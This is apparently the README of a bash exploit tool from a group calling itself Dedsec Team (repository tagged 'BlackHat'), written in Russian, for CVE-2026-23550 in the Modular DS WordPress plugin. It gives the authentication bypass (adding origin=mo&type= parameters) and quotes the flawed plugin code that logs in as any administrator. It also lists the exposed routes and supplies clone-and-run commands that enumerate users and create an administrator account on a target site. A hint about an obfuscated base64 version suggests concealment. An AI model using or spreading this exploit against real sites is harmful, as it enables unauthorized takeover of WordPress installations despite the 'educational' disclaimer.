
Bash-скрипт для перечисления пользователей WordPress и автоматического создания учётной записи администратора, использующий CVE-2026-23550 для обхода аутентификации и получения несанкционированного доступа к администратору.
CVE ID: CVE-2026-23550 CVSS Score: 10.0 (CRITICAL) Затронутый плагин: Modular DS WordPress Plugin Затронутые версии: Все версии до 2.5.1 включительно Исправленная версия: 2.5.2 (выпущена 14 января 2026 г.) Активная эксплуатация: Подтверждена в дикой природе с 13 января 2026 г.
Этот плагин раскрывает свои API-маршруты под префиксом /api/modular-connector/.
Эти маршруты сгруппированы за промежуточным ПО аутентификации в RouteServiceProvider.php.
Однако аутентификацию можно обойти, используя ошибочный метод isDirectRequest().
public static function isDirectRequest(): bool
{
$request = \Modular\ConnectorDependencies\app('request');
$userAgent = $request->header('User-Agent');
$userAgentMatches = $userAgent && Str::is('ModularConnector/* (Linux)', $userAgent);
$originQuery = $request->has('origin') && $request->get('origin') === 'mo';
$isFromQuery = ($originQuery || $userAgentMatches) && $request->has('type');
// When is wp-load.php request
if ($isFromQuery) {
return \true;
}
return \false;
}
Способ обхода очень прост: достаточно включить параметры origin=mo&type=anything в запрос. Никакой проверки подписи, секрета, IP или обязательного User-Agent – этих параметров уже достаточно, чтобы запрос считался Modular direct request
После того как запрос считается "direct", промежуточное ПО аутентификации в ModularGuard.php проверяет только, подключен ли сайт к Modular через validateOrRenewAccessToken(). Нет никакой криптографической связи между входящим запросом и самим Modular.
Открытые маршруты При успешном обходе аутентификации злоумышленник может получить доступ к:
/login/{modular_request} – удаленный вход (доступ администратора)
/server-information – чувствительные данные системы
/users/{modular_request} – перечисление пользователей
/backup/* – резервные копии сайта
/cache/clear – очистка кэша
/manager/* – функции управления
/woocommerce/{modular_request} – статистика WooCommerce
public function getLogin(SiteRequest $modularRequest)
{
$user = data_get($modularRequest->body, 'id');
if (!empty($user)) {
$user = get_user_by('id', $user);
}
if (empty($user)) {
Cache::driver('wordpress')->forget('user.login');
$user = ServerSetup::getAdminUser(); // FALLBACK KE ADMIN MANAPUN
} else {
Cache::driver('wordpress')->forever('user.login', $user->ID);
}
if (empty($user)) {
throw new \Exception('No admin user detected.');
}
$cookies = ServerSetup::loginAs($user, true); // AUTO-LOGIN
return Response::redirectTo(admin_url('index.php'))
->withCookies($cookies);
}
Если в теле запроса нет ID пользователя, код найдет любого существующего администратора (getAdminUser()) и сразу выполнит вход.
Автор: (Dedsec Team)
Описание: Мощный bash-скрипт для перечисления пользователей WordPress и автоматического создания учетной записи администратора. Создан только для образовательных целей и авторизованного тестирования безопасности.
/?author=1, /?author=2 и т.д.)curl (для HTTP-запросов)base64 (если вы используете обфусцированную версию, хе-хе)git clone https://github.com/DedsecTeam-BlackHat/CVE-2026-23550.git
cd CVE-2026-23550
chmod +x CVE-2026-23550.sh
./CVE-2026-23550.sh [options] <target_url>
./CVE-2026-23550.sh -e -t http://targetsite.com./CVE-2026-23550.sh -t http://targetsite.com -c -u dedsec_admin -p P@ssw0rd!./CVE-2026-23550.sh -d